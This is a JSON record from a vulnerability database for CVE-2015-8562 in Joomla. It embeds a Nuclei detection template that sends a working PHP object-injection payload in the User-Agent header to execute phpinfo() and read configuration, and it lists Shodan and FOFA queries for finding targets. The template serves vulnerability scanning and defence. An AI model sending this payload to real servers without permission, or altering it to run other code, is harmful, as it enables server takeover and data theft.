{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2015-8562/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2015-8562/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2015-8562/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2015-8562/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2015-8562/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2015-8562"},"sightings":{"href":"/api/v1/sightings/cve-2015-8562"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2015/CVE-2015-8562.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2015-8562\n\ninfo:\n  name: Joomla HTTP Header Unauthenticated - Remote Code Execution\n  author: kairos-hk,bolkv,n0ming,RoughBoy0723\n  description: |\n    Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015\n  impact: |\n    Attackers can execute arbitrary PHP code on the server through PHP object injection, leading to complete server compromise and potential data breach.\n  remediation: |\n    Update to Joomla 3.4.6 or later immediately.\n  severity: high\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562\n    - https://nvd.nist.gov/vuln/detail/CVE-2015-8562\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2015-8562\n    epss-score: 0.98283\n    epss-percentile: 0.99914\n  metadata:\n    max-request: 2\n    vendor: joomla\n    product: joomla\\!\n    shodan-query:\n      - http.html:\"joomla! - open source content management\"\n      - http.component:\"joomla\"\n      - cpe:\"cpe:2.3:a:joomla:joomla\\!\"\n    fofa-query: body=\"joomla! - open source content management\"\n  tags: cve,cve2015,joomla,rce,unauth,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body,\"Joomla\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: 123}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:4:\"\\0\\0\\0a\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:5:\"cache\";b:1;s:19:\"cache_name_function\";s:6:\"assert\";s:10:\"javascript\";i:9999;s:8:\"feed_url\";s:37:\"phpinfo();JFactory::getConfig();exit;\";}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";i:1;}𝌆\n        Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PHP Extension\"\n          - \"PHP Version\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450221009bd198c8c50b6f6eb3cbc77df4ae59087935092ea62c4350c33deb22b5ccd1c9022066fa65076872bd232cce3b0b7fd0505c78d8b06c325455192f7f9d8836118c66:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2015-8562"}